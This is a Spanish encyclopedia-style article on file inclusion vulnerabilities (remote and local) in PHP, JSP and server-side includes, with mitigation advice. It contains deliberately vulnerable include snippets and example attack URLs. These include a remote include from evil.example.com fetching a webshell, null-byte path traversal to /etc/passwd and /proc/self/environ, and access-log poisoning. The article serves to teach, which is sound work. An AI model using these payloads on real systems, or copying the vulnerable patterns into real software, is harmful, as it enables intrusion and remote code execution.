Una vulnerabilidad de inclusión de archivos es un tipo de vulnerabilidad web que afecta con mayor frecuencia a aplicaciones web que dependen de un entorno de ejecución de scripts . Este problema se produce cuando una aplicación crea una ruta a código ejecutable utilizando una variable controlada por el atacante, de manera que este pueda controlar qué archivo se ejecuta en tiempo de ejecución. Una vulnerabilidad de inclusión de archivos se distingue de un ataque genérico de recorrido de directorios , ya que este último es una forma de obtener acceso no autorizado al sistema de archivos , mientras que una vulnerabilidad de inclusión de archivos subvierte la forma en que una aplicación carga el código para su ejecución. La explotación exitosa de una vulnerabilidad de inclusión de archivos resultará en la ejecución remota de código en el servidor web que ejecuta la aplicación web afectada. Un atacante puede usar la ejecución remota de código para crear un shell web en el servidor web, que puede usarse para desfigurar sitios web .
Tipos de inclusión
Inclusión remota de archivos
La inclusión remota de archivos ( RFI , por sus siglas en inglés) se produce cuando la aplicación web descarga y ejecuta un archivo remoto. Estos archivos remotos suelen obtenerse en forma de una URI HTTP o FTP como parámetro proporcionado por el usuario a la aplicación web.
Inclusión de archivos locales
La inclusión de archivos locales ( LFI ) es similar a una vulnerabilidad de inclusión de archivos remotos, con la diferencia de que, en lugar de incluir archivos remotos, solo se pueden incluir archivos locales (es decir, archivos del servidor actual) para su ejecución. Este problema aún puede conducir a la ejecución remota de código al incluir un archivo que contenga datos controlados por el atacante, como los registros de acceso del servidor web.
Lenguajes de programación
La vulnerabilidad de inclusión de archivos se produce principalmente en lenguajes de programación que dependen de la inclusión dinámica de archivos, como PHP y JavaScript. Estos lenguajes son interpretados , no compilados. Los lenguajes que utilizan la inclusión de archivos para incluir bibliotecas, como C y C++ , no necesariamente sufren el mismo tipo de vulnerabilidad, ya que se gestionan mediante preprocesamiento en lugar de dinámicamente. Sin embargo, siguen siendo vulnerables a recorridos de ruta fopen()y desbordamientos de búfer .
PHP
En PHP, la causa principal se debe al uso de entrada de usuario no validada con una función del sistema de archivos que incluye un archivo para su ejecución. Las sentencias más notables son las sentencias include`and` require. La mayoría de las vulnerabilidades pueden atribuirse a que los programadores novatos no están familiarizados con todas las capacidades del lenguaje de programación PHP. El lenguaje PHP tiene una directiva que, si está habilitada, permite que las funciones del sistema de archivos utilicen una URL para recuperar datos de ubicaciones remotas. [ 1 ] La directiva está allow_url_fopenen las versiones de PHP <= 4.3.4 y allow_url_includedesde PHP 5.2.0. En PHP 5.x esta directiva está deshabilitada por defecto; en versiones anteriores estaba habilitada por defecto. [ 2 ] Para explotar la vulnerabilidad, un atacante modificará una variable que se pasa a una de estas funciones para que incluya código malicioso de un recurso remoto. Para mitigar esta vulnerabilidad, toda la entrada del usuario debe validarse antes de ser utilizada. [ 3 ] [ 4 ]
Ejemplo
Considere este script PHP que incluye un archivo especificado por la solicitud:
<?php if ( isset ( $_GET [ 'language' ])) { include ( $_GET [ 'language' ] . '.php' ); } ?>< form method = "get" > < select name = " language" > < option value = " english" > Inglés </option> < option value = " french " > Francés </option> ... </select> < input type = " submit " > </form>El desarrollador pretendía leer english.phpo french.php, lo que alterará el comportamiento de la aplicación para mostrar el idioma elegido por el usuario. Pero es posible inyectar otra ruta usando el languageparámetro.
/vulnerable.php?language=http://evil.example.com/webshell.txt?- Inyecta un archivo alojado remotamente que contiene código malicioso (inclusión de archivo remoto)./vulnerable.php?language=C:\\ftp\\upload\\exploit- Ejecuta código desde un archivo ya subidoexploit.php(vulnerabilidad de inclusión de archivos locales)/vulnerable.php?language=C:\\notes.txt%00- ejemplo usando el carácter meta NULL para eliminar el sufijo, permitiendo el acceso a archivos distintos de . Este uso de inyección de byte nulo fue parcheado en PHP 5.3 y ya no se puede usar para ataques LFI/RFI. [ 5 ].php.php/vulnerable.php?language=../../../../../etc/passwd%00- Permite a un atacante leer el contenido del/etc/passwdarchivo en un sistema tipo Unix a través de un ataque de recorrido de directorios ./vulnerable.php?language=../../../../../proc/self/environ%00- permite a un atacante leer el contenido del/proc/self/environarchivo en un sistema tipo Unix a través de un ataque de recorrido de directorios . Un atacante puede modificar un encabezado HTTP (comoUser-Agent) en este ataque para que sea código PHP para explotar la ejecución remota de código .
La mejor solución en este caso es usar una lista blanca de parámetros de idioma aceptados. Si no se puede usar un método robusto de validación de entrada, como una lista blanca, entonces se puede recurrir al filtrado de entrada o a la validación de la ruta proporcionada para asegurar que no contenga caracteres ni patrones de caracteres no deseados. Sin embargo, esto puede requerir prever todas las posibles combinaciones de caracteres problemáticas. Una solución más segura es usar una instrucción Switch/Case predefinida para determinar qué archivo incluir, en lugar de usar una URL o un parámetro de formulario para generar la ruta dinámicamente.
Páginas del servidor de Yakarta (JSP)
Jakarta Server Pages (JSP; anteriormente JavaServer Pages) es un lenguaje de scripting similar a PHP pero que se ejecuta en Java y que puede incluir archivos para su ejecución en tiempo de ejecución.
Ejemplo
El siguiente script es vulnerable a una vulnerabilidad de inclusión de archivos:
<% String p = request . getParameter ( "p" ); @include file = "<%=" includes / " + p +" . jsp " %> " %> /vulnerable.jsp?p=../../../../var/log/access.log%00- A diferencia de PHP, JSP todavía se ve afectado por la inyección de bytes nulos, y este parámetro ejecutará los comandos JSP que se encuentren en el registro de acceso del servidor web.
Inclusiones del lado del servidor (SSI)
Una inclusión del lado del servidor es muy poco común y normalmente no está habilitada en un servidor web predeterminado. Una inclusión del lado del servidor puede usarse para obtener ejecución remota de código en un servidor web vulnerable. [ 6 ]
Ejemplo
El siguiente código es vulnerable a una vulnerabilidad de inclusión de archivos remotos:
< !DOCTYPE html > <html> <head> <title> Archivo de prueba </title> </head> <body> < ! -- # include file = " USER_LANGUAGE " -- > </body> </html>El código anterior no es una vulnerabilidad XSS , sino que incluye un nuevo archivo que será ejecutado por el servidor.
Véase también
- Ataque (informática)
- Inyección de código
- Metasploit Project , una herramienta de pruebas de penetración de código abierto que incluye pruebas para RFI
- Inyección SQL
- Amenaza (informática)
- w3af , un escáner de seguridad de aplicaciones web de código abierto
- Vulnerabilidad de credenciales predeterminadas
Referencias
- ↑ "Uso de archivos remotos" . PHP . Consultado el 3 de marzo de 2013 .
- ↑ "Lista de directivas php.ini" . PHP . Consultado el 21 de octubre de 2016 .
- ↑ "Inclusión remota de archivos" . El Consorcio de Seguridad de Aplicaciones Web . Consultado el 3 de marzo de 2013 .
- ↑ "CWE-98: Control inadecuado del nombre de archivo para la instrucción Include/Require en un programa PHP ('PHP Remote File Inclusion')" . Enumeración de debilidades comunes (CWE) . Mitre . Consultado el 3 de marzo de 2013 .
- ↑ "PHP :: Solicitud n.º 39863 :: file_exists() trunca silenciosamente después de un byte nulo" . bugs.php.net . Consultado el 21/10/2016 .
- ↑ "Tutorial de Apache httpd: Introducción a las inclusiones del lado del servidor - Servidor HTTP Apache versión 2.4" . httpd.apache.org . Consultado el 21 de octubre de 2016 .
Enlaces externos
- Inclusión remota de archivos en el Consorcio de Seguridad de Aplicaciones Web
- Inclusión de archivos locales
- Inclusión de archivos locales y eliminación en WordPress en WP Hacked Help
- Explotación de inyecciones
- vulnerabilidades de seguridad web